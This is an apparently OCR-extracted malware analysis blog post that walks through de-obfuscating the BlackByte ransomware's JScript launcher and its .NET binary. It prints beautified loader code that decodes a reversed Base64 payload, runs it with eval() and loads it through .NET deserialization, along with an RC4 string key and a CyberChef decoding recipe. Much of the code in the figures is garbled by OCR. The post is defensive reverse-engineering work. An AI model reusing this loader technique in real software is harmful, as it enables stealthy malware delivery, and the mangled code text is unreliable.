BlackByte Ransomware — Pt 2. Code Obfuscation
Analysis

%

SpiderLabs Blog

In Part 1 of our BlackByte ransomware analysis, we covered the execution flow of the first
stage JScript launcher, how we extracted BlackByte binary from the second stage DLL, the
inner workings of the ransomware, and our decryptor code. In this blog, we will detail how
we analyzed and de-obfuscated the JScript launcher, BlackByte’s code, and strings.

De-obfuscating the JScript Launcher

We received the original launcher file from an incident response case. It was about 630 KB
of JScript code which was seemingly full of garbage code — hiding the real intent.

Our first approach to de-obfuscate the script was to simply scroll through the whole length
of this obfuscated code, find some interesting blocks and figure out if there were any eval()
function calls. We wanted to find an eval() call because this is where the script likely
executes relevant code.

As seen in the screenshot below, we found that the first hundred lines of code were mostly
unused, garbage code. At line 2494 is a blob of seemingly Base64 encoded strings (which
turned out to be the main payload). Then at line 7511 is a lone eval() call.

1 var Yekaterinoslav Stringl'gbjwuuerevrxobhx');
. var emblema = Yekaterinoslav.charCodeAt(18);

var toothbill = Yekaterinoslav.localeCompare('BZUKIZBYUGBBYGLA');

1/10


https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-2-code-obfuscation-analysis/
https://www.trustwave.com/en-us/resources/blogs/trustwave-blog/blackbyte-ransomware-pt-1-in-depth-analysis/
https://npercoco.typepad.com/.a/6a0133f264aa62970b0278804e1a01200d-pi

var
var
var
var

var
var

var BUYGMBALDAGYOALL
( BUYGMBALDAGYOALL
Wscript.Echo('jehbfjdyblwuxbfm');
lexiconist.concat( 'KBZB
var LjujWlgxWNHwLsch
(LjujWUgxWHwLsch
Wscript.Echol ' xygqxgtxjgjtngvhe’);
49958;
goatskins
lexiconist.charCodeAt(4);
'Proparia’;
sheldduck.charat(7);
sheldduck. localeCompare( 'vdisaduuvnpiuobl');
sheldduck.charat(2);
sheldduck. toLowerCase();
sheldduck. concat ( sheldduck) ;
sheldduck. narrh{sheldduckh;

var

goatskins
goatskins

var
var
var
var
var
var
var
var
vag

mountainlike
goatskins
lexiconist

jejylgducrmgadlo
(jejylgducrmgadlo

Yekaterinoslav.charCodeAt(s);

928140;

string('kklrvuxrwbsjaomd');

false;
true)

Wscript.Echo( ' cmmrmjbhsroxmiug');
lexiconist.replace( 'KUIGDUWALDYGYALL",
lexiconist.charCodeAt{5);

JScript contains a
lot of garbage
code

reoxidizing
uncorrigible

Gradgrindism

sinhalite
sheldduck
Waverers
unloosened
turfforming
nullifying
Maybee
feaf
Mz upleural

rgi

false;
true)

true;
false)

5339290;

sheld

'NVdCUMFsMvgoayYzm' ) ;

nlsing

U=H

unharmonlsing I
var xn‘ml_knqumhm] s = tr

{ xmmlkoqumhmj s false)

Wscript.Echol ' ZZXZGWBDBGGAA" ) ;

Wernyi
¥ar
¥ar
var
¥ar

} (e) {
1

Vyernyi
Ximenia

scoparin
Lyonnais
superoxygenating

321035;

var fmjgbcgtvdpjd ;

fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpjd
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjqgbcgtvdpjd
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjqbcgtvdpjd
fmjgbcqtvdpid
fmjgbcqtvdpid
thqtvd pjd

LT LAY LA, |

Var S5cD
S55ch
S5ch
var liegedom
var fibrinate
var Ibanez
var tribase
tribase
var stound
var ugtrjiijo
(ugtrjiijo

wseripteBchal 'aojaspfkel:

evalllbnlpgh) ;

vae nonrpiactic

fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjagbcqtvdpjd
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpjd
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpid
fmjgbcqtvdpjd
fmjgbcqtvdpid
fquhcqtudpjd

fmjgbcqtvdpj
..-.an thﬂi

false;

FEPLECH

unharmonising. index0f( 'Yannigan'):
unharmonising. index0f('odontoglossal');
false;

'AAEAMADS f / F F AQAAAAAAAAAEADAAAC T TeXNBZWRURGY s IWdhd GV T 2X I p’

! AW AAAARE DWx LZ2FRZ0d@Y X InZX0wB2 1 1dGhvZDADAWMWUZ LzdGVELEKR LI G
'dG1lvbkhvbGRLc 1tEDWx 1Z2FAZUVUdHIS I INSc3RbSSE MR L Z2FaZVN Lim
' ZXIvU3 LzdGYVEL LI 1Zmx 1Y 3Rph24uTWVEYmVySWSmb 1IN 1em LhbG16YXRpl 2
AA&A{DQAAﬁAtAgﬁAADBTexNﬂiwﬂuHGvszhdthHrszp¥wxpemFﬁaw9u G
"RWSCn gl i DHKGAGFyZ2VBEnRhcmd LdFRScGVEB 3
'eXB1Tm bGVnYXR1RWS@cnkBAQIBAQEDMFNS 3
'cmlhbG DWdhdGVFbnRyeQYFAAAALINSC3R1LS
'aWsnLk YWSkbGVyBgYAMBLBXM]b3]saWIs) F
'MCwoQ3VsdHVy LT 1uZXVeenFsLCB0dWIsahLZX 1Ub2 t 1bj LiNzdhNWM1L i
' dGFyZ2VaMAkGAAAABG KAAAAPU3 1 zdGVELKRLbGYNYXR1BgoAAAANRH LU

' ACI TeXNBZWAURGY s 2WdhdGVTZX ] pYWxpemFRaawWdusGos ZGVy AwAAAARE]

' B211dGhvZDADBwWMWU3 LzdGVtLKR1bGVNYXR1UZVyaWF saXphdGlvbkhvl G
' dHI5A19TexNoZwWdulmVmbGY j dGlvbiSNZW11ZX ] IbmZvU2VyaWFsaXph G

' COw W C3RLbS55 WL s aWSulLkl bWl Lcklu;
il cinc “ i w-xrn:umnuzﬂ

g EAQ 3
tring(" 0A');

'"KivHHhe(G" ;
"luBzI1Puk';

55cD. lastIndexOf( 'pJjvELjtY");

S5cD.concat (55¢D);

String('PcxKaFmyt');

'segWulKfFC';
tribase. lastIndex0f('egwaklkmi');

false;
true)

Strina

odel 7



https://npercoco.typepad.com/.a/6a0133f264aa62970b0278804e1a01200d-pi

var Goniatitidae - 'scutchs’ H

v I Find an eval() function call
traceback the real code &
ER=TE c|liminating all the garbage
e

var L:-zl.-::.|L..rr11.r11='|r|:|nratll: ﬂf' I|"|L|'1[.'|-=r~'":'|5-={}l'

var rE1m.r10ratE ’:nrnllu-uri asel):

F/gure 1: H/ghllghts of the obfuscated JScript code

The next step was to trace back the code beginning from the eval() call at line 7511, finding
the references to the eval’s parameter variable name — “bnlpgh”, then start following the
flow and references until we obtained the real code.

Here is an initial flow we followed starting from the eval() call.

7511 TEN (bnlpgh);

2280 bnlpg mtyyug. ();

obfuscated = "ADODEB.Stream

Then you can fallow the code until complete

Figure 2. Code traceback starting from eval() call

Following the code in this fashion, we were able to distinguish the real code from the
garbage. We then prettified the code and renamed the variables to be readable. The code
snippet below reveals the first layer:
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secondLayerEncoded = ‘'=BHIVBSKLhCIoNGdhNGIStTKpISYs5UbUVVMSdVbaZHII'®' +
'pUeigSWELKkWHFORIMEK INmbhR3 culUZ@FWZyMkLpkCKSFmcyFBbUSS51VnSSVWVaPBH' +
"KL1t2b25WS ] IWbhSWeESS5Yvd3Z1xGdil120p0WZulmZ IRmb1hCZkFkLIIWdKIVVpOECT '
"kyU29mUuB LaBxGKyBVZ6 1Gbh lmc INXZESySELOTEAVVPAEI9ASYvd3Z1xGdi1GIyFm'
'd7kSKiUIMspHZHICI rALIWRHTrokdidEes11IgsCIiMjUwImMloHT rZUejJCIrALTL"
' ZUNUJEbERWQ9@j IokFRNp 1REdUSHNCd j Vmai9EW 1L ZXa@NW0gcXZuBSPgkkY 1pkUv12'
'"TwBichZ30pkiIVNDbEICIrAiTkdkVExEBKICIrALIxImbSBnYXVVdV]jIgsCIiYVeh'
"dRzFGWwhmIgsCIi02RsZnYpVzRiNj SO LFWiAyKgIl ilwoFWKpHT rpEcilmRSV2ZULAY
'KgISNDF2V1g2Yux2RiNjIgsCIioEdZh1UwoFWI1) IokFRNp1RBAUSHhCd jVmai9EwW1 '
'ZXabNW0gcXZuBSPgsSERJYERXVITHBichZ30wASPg42bpRXaz9GUuM Ldv] LbQpWlstT'
'"KpEDIrAiMoAiKgkSKyAiKgIDKgBCIwZmY jNmY55mZoACLwWACLWNKTUFVadp lVolGdp '
"13VuMLldvl LbQpWOstTKpISVzemekd kW x@aiAyKgICbQx@axwmYX1TelJCIrALIWSE'
'"Mj1mVolwWU98j IokFRNp1RBdUSHNhCdj Vma i9EW1ZXadNWlgcXZuBSPgM 1dv] LbQpWls '
'BichZ30pAnZiN2YilnbmBCLwACLWNEKTuUFVadp1lVos2YvxmlsFmbpZUby9mZ z5WY yR1'
'L5Fmc4dmWC18Rg@D IWNKTuFVadp WW7KkSKiUIMspHZHZFd iAyKgICTSs5EDZN] VSFGWS '
'JCIrAiTIw@ald L XZYIEM1IDZ5ICIrALIZh LOvV2U1cBYt 1DdiAyKgISUtZkeaRViWwYF '
'SiAyKgIiSoJImbO1mYzoEdigSWE1KWHFORIAEKBNWZql2 TYVmdpR3YBByd 15GI9ASeh
' JHenp LONdEIyFmd7kCZqBHZ2RXCj IWcqglmZo0zXzVGd5JEd LdkLy tWeupXbkIGageD '
'TWNETuFVadp IVgIXY2tTKkpGeckZHdxNmY xpwWbmh iMTfRnb1920 LRXeCR¥ZHSicrlnbg '
"1GZihGISACCMIZ2Y j IWeuZGIyFmd7kSKiUIMspHZ 1AyKgIyRWRHTsJFb ThkIgsCIiEY'
"dRZ1ITENVVSZkYtICIrAiI0ZnWHxWdadXPI9ICKZRUTadUQH1BRoQ3Y LpmYPhVZ2 1Gd]j '
o >
'Nlchh2Qu@WbmhmY@ 1 Xe5tTMgsCIxASPgUGCSRILtImZolGdS LXe7ADI9AIbY 1 GdpN3 '
'b055btZGaiRXe5 130pUWds FmVKVGCSRVZkOmbugFTEdEWY JUQNhSZ@ ImcX55bt ZGai’
'RXe5130pgiblB3Tu@WbmhmY@1Xe5tTMgoCIxASPQUGCSRILTImZolGdS 1XeTKSKSAT
'"MgwyNSACLxATMgwCNXEDIsYTMxACLZzgDIsYDMgwiNZACLAYDIs kzNgwC0ZACLIYDKL'
'R2bDIXYoNUbvInZucmbpJHAdThCd j Vma 19U Z@FWZyNkL@BXayN2UXBSPg@Wbmhmy 81X '
'eSBichZ30pIlilodWavpmlSFmeyFUZzIXZ2Vmeg@DIBhXZ@5CWMFBRYh10B180pgSZz"
'IXZ2Vmouk2ZTIFbixkVxBSPgkXYyIXQNnc LZXZyBichZ30pIiTo0XasB3cuB2Y 1IX'
'brZHadBSPgk2ZTIFbixkVxBichZ30pIzMgwiM1ACLAUDISEDMxACL1ETMgwyNSACLZ '
"YDIsYDMgwCMxEDIsUDMxACL4KDKLR2bDIXYoNUbvInZucmbpJHATBSPQUGCSRVYBFG '
' ZugFTEdEWY JUQNTTKpITMxACLSATMgwiNxEDK1R2bDIXYoNUbvInZucmbpJHdThCdu''
"VWb LxWRLRXY LI13YuomchVXb IWXchB5SPggFTBAEWY JUQONBichZ30pkyN3ACLScDIsg]
'"NgwiN3ACL3cDIsgDOgwiN@ACLZETMgwiMwEDISETMxACL1ETMgwSMXEDISQTMxACLS '
'kDIsUDMxACL3 cDK1R2bDIXYoNUbwInZucmbpJHAThCd jVmaiSEW1 ZXa@NWQgcXZuBs '
'"PgomchWXb1lVXchBichZ3egkybjVmcttmdohHKZRUTadUQH1@Rg42bpR3IYUVnZ' ;

secondLayerEncodedSplit = secondLayerEncoded.split('');

reverseArray = secondLayerEncodedSplit. reverse();

¥mldomOb) = ActiveXObject("Microsoft.XMLDOM")

tempElement = xmldomdbj.createElement("tmp"};
tempElement.dateType = “"bin.Base6d "
tempElement.text = reverseArray.join{("');

binaryStream = WScript.CreateObject("ADODB.Stream");
binaryStream.Type =1;
binaryStream.Open();
binaryStream.Write(tempElement.nodeTypedvValue);
binaryStream.Position = 8}
binaryStream.Type = 2;
binary5tream.CharSet = . fromCharCode("utt-8");

secondLayerScript = binaryStream.ReadText(]);
eval(secondLayerScript);
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Figure 3. Beautified First layer of the obfuscated JScript launcher

Above you may see in the first layer code our renamed variable - secondLayerEncoded -
this is a string that looks like it was encoded in Base64. Although that is true, it is a Base64
string that has been reversed.

The script creates an XML document object, and using this object, creates an HTML
element named “tmp”. Next, the script writes the decoded second layer from the variable
assigned to secondLayerEncoded into the created element. It then reads it back as a
“binaryStream” and finally runs it using eval().

After decoding and prettifying the second layer, the result looks like this:

BasebdDecode(encodedString) {

*xmlDOMOb) = {("Microsoft.XM

tempElement = xmlDOMObj.createElement( |

tempElement.d e =" 1. B B

encoded5tri it = encodedS5tring.split(
StringSplit.reverse();
Array.join("");

Script.Create0bject(™A

(tempElement.nodeT
«Position = 8;

binaryStream.ReadText();

11"} .Environment (“Proce H
TextAsc ("Sys I

var length = Te odedPayload_B6
EncodedStringAscii extAs ytes_4(EncodedPayload_B64)
m = ("System. Se rity.Cryptography.Fr £
i = FromBaseb64Transform.TransformFinalBlock(EncodedStringAscii, @8, length)

tream = i t « IO, Me St ')
MemoryStream.Write(EncodedStringAscii, @, (length 7/ (2 = 2)) * (2 - 1))
Memo ry5St ream. Position = 8;
binaryFormat = (" . Runt Serializat i
var arrayList = {"System. lect s.ArrayList")
var payloadMemoryStream = binaryFormat.Deserialize 2(MemoryStream);
arrayList.Add{undefined);
payloadMemoryStream.DynamicInvoke(arraylList.ToArray(}).CreateInstance(
(e} {}
Figure 4. Beautified code of the second layer JScript code

The second layer code reveals that it checks if .NET version 4.0.30319 framework is
installed in the system, then proceeds to decode the malware payload (the Base64 strings
shown in Figure 2 at line 2494). Afterward, it creates a memory stream object to where it
writes the decoded Base64 payload. To run it, it uses the Deserialize 2 method of the
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter COM object to load
managed code via object Deserialization. When invoked, it creates an instance of
“ISTMMrZfotrr” — a class from the malicious .NET DLL loader.
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BlackByte: De-obfuscating the Code

The BlackByte binary itself is also heavily obfuscated, both the code and the strings.

relow  Help

® GILTHHA=IPFY @020
| r

b
"
Lt
o
Y
by
&

A

: o
FyFy

Araa

Ty FyFyyE

Figure 5. BlackByte decompiled using dnSpy

The code obfuscation needed some manual refactoring, and it proved to be tedious!

Below is a snippet of the most common code obfuscation technique we found in
BlackByte's code:

bP1PAvyTShRU( ).

arg_46_90;
expr_15 = arg_46_8 = - 9992;
if ({46945 ~ 472736) == 491969)

r
1

arg 46_8 = expr_15 + sizeof(double) + 9984;

1
r

Environment.Exit{arg_46 8)};

Figure 6. Sample of an obfuscated code

In this function, we can remove the if condition in line 7 since it is always true:

9. if (46945 A 472736) == 491969)

6/10


https://npercoco.typepad.com/.a/6a0133f264aa62970b0282e12687a8200b-pi
https://npercoco.typepad.com/.a/6a0133f264aa62970b0282e12687b8200b-pi

And in line 8, since sizeof(double) equals 8, our variable arg_46_0 will be equal to

-9992+8+9984 which is equals zero. So, we can refactor the code in line 10 like this:
13. Environment.Exit(arg_46_0); // is the same as Environment.Exit(0)

To make it readable, we rename the function and removing all unnessary code, it would
look like this:

1. internal static void kill_process()
2

3. try

4. {

5 Process.GetCurrentProcess().Kill();
6. }

7. catch

8. {

9. Environment.Exit(0);

10. }

1.}

The same obfuscation technique has been used throughout the code. So, we can
painstakingly and manually refactor every function to make it readable.

BlackByte: De-obfuscating the Strings

Another hurdle for analyzing this ransomware is the string obfuscation.

Figure 7. BlackByte's obfuscated string is represented as a function

In the image above, each encrypted string is declared inside a public static object. The call
to the method aCDscCCxGvmZ.k(encryptedString) is a call to a string reversal function,
where it reverses the chunk of a Base64 string and then afterward joins those chunks
together to form a complete Base64 encoded string.

Let’s take for example this encoded string:
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public static object P() {

return aCDscCCxGvm<Z.k("AAAACL+BAAAgD") +
aCDscCCxGvmZ.k("K95vZqTDABAAA") +

aCDscCCxGvmZ.k("YbZietcdo57Pk") + aCDscCCxGvmZ.k("AAAAOQDrIJDAC");

}

First step is to reverse each chunk:

AAAACL+BAAAgD -> DgAAAB+LCAAAA

K95vZqTDABAAA -> AAABADTQqZv59K

YbZietcdo57Pk -> kP750dcteiZbY

AAAAOQDrIJDAC -> CADJIrDQOAAA
Then join all together to form a complete Base64 string:
DgAAAB+LCAAAAAAABADTqZv59KKkP750dcteiZbY CADJIrDQOAAAA

The decoded base64 string is a GZip header starting at the 5™ byte.

size of the decrypted stri

e 00 00 00 1f 8b 08 00 00 00 00 00 04 00 d3 a9 9b f9 f4 ad Of ef 9a 1d 72 d7 a2
65 bbb 02 00 32 48 ac 34 Oe 00 00 00 GZIP compressed data

Figure 8. First 4 bytes is the size of the decrypted string, and the following bytes are the
GZIP compressed string.

The first four bytes of the data are the length of the decoded string. So, we can remove the
first four bytes, then apply GZIP decompression to the remaining data.

1f 8b 08 00 20 00 00 00 04 00 d3 a9 9b f9 f4 a9 of ef 9a 1d 72 d7 a2 65 b6 02 00
32 48 ac 34 e 00 0 GZIP header

Figure 9. GZIP header and the data following it

The next step is to decrypt the output with RC4 algorithm with the key [0xCD 0x92 0xCC
0x93 0xCD 0x98]. And finally, we get the decoded string “powershell.exe”

A CyberChef recipe below can help you with the string decoding. It accepts the whole
obfuscated string function, parses the encoded string and decode it:
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"args": ["User defined", "\"(.*?)\"", true, true, false, false, false, false, "List capture groups"]

2
{"op": "Fork",
"args": ["\n", "", false] },
{"op": "Reverse",
"args": ["Character"] },
{"op": "Merge",
"args" 1},
{ "op": "From Base64",
"args": ['A-Za-z0-9+/=", true] },
{"op": "To Hex",
"args": ['"None", 0] },
{ "op": "Find / Replace",
"args": [{ "option": "Regex", "string": ""\\w{8}" }, "", true, false, true, false] },
{"op": "From Hex",
"args": ["Auto"] },
{"op": "Gunzip",
"args": ]},
{"op": "To Hex",
"args": ["Space", 0] },
{ "op": "RC4",
"args": [{ "option": "Hex", "string": "CD 92 CC 93 CD 98" }, "Hex", "Latin1"] }

CyberChef came in handy when analyzing this malware. But a scripting tool like Python can
make the de-obfuscation process faster. I'll leave that as an exercise:
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& gehg.githa, o

Download CyberChel ! Last build: & month age Options ¢ Abouwt [ Suppart ﬂ
- start: 181 1 - 1 -
Operations Recipe a ] Input lm?'(:f lB; e::: _a: + O B =
. public static object P{) {
sedrch... Regular expressian s " return aChscCCubymZ. k("AAAACL+BARAQD™) + aCDscCCxGumZ, k{“K95wIgTDABRAA™) +
~ afDseCCxGwnZ, k(" YbZietcdoSTPE" ) + aCDecCCxGumZ. k(™ AARADQD rTIDAC") ;

Favourites * Buit in regexes o

User defined
To Basefd

Reges
From Bases4 N
Ta Hex
From Hex . . =~ and £ match at

Case insensitive S time: 1las
wli th q
To Hexdump Output lf'::;,' li o |-|:| &
A Bt [ Dot matches a [ Unicode suppart powershell.exe
UAL Decode _
[ Astral support [ Display tota

Regular expresssan

Owstput format
Entropy List capture groups

Ayl Bake

IE}'éure 10: Decoding the string using CyberChef
To end this blog, we'll leave some tips on how to approach obfuscated code like this:

1. Analyze the code first and see what methods it uses.

2. Find any string blobs, that may be a result of encryption or encoding. This may be
data, a series of hex bytes, or a base64 string. Look for any references to this and
follow through.

3. For scripts, keep an eye on those evaluation expressions, we are talking about eval().
You can sometimes exploit this by replacing it with alert(), msgbox(), console.log(), or
a file write operation. And let the script run and see what it prints, however, this is
extremely dangerous, so run it in a VM environment.

4. Learn some encoding and encryption algorithms. Base64, RC4, AES, RSA, or even
the simplest bitwise operations like XOR and ROTATE will come in handy.

5. And lastly, use a tool and debug it. It makes you understand how it works when you
follow the code.

For anyone interested, a decompiled source of BlackByte that we have partially de-
obfuscated can be downloaded from this Github link:

https://github.com/SpiderLabs/BlackByteDecryptor
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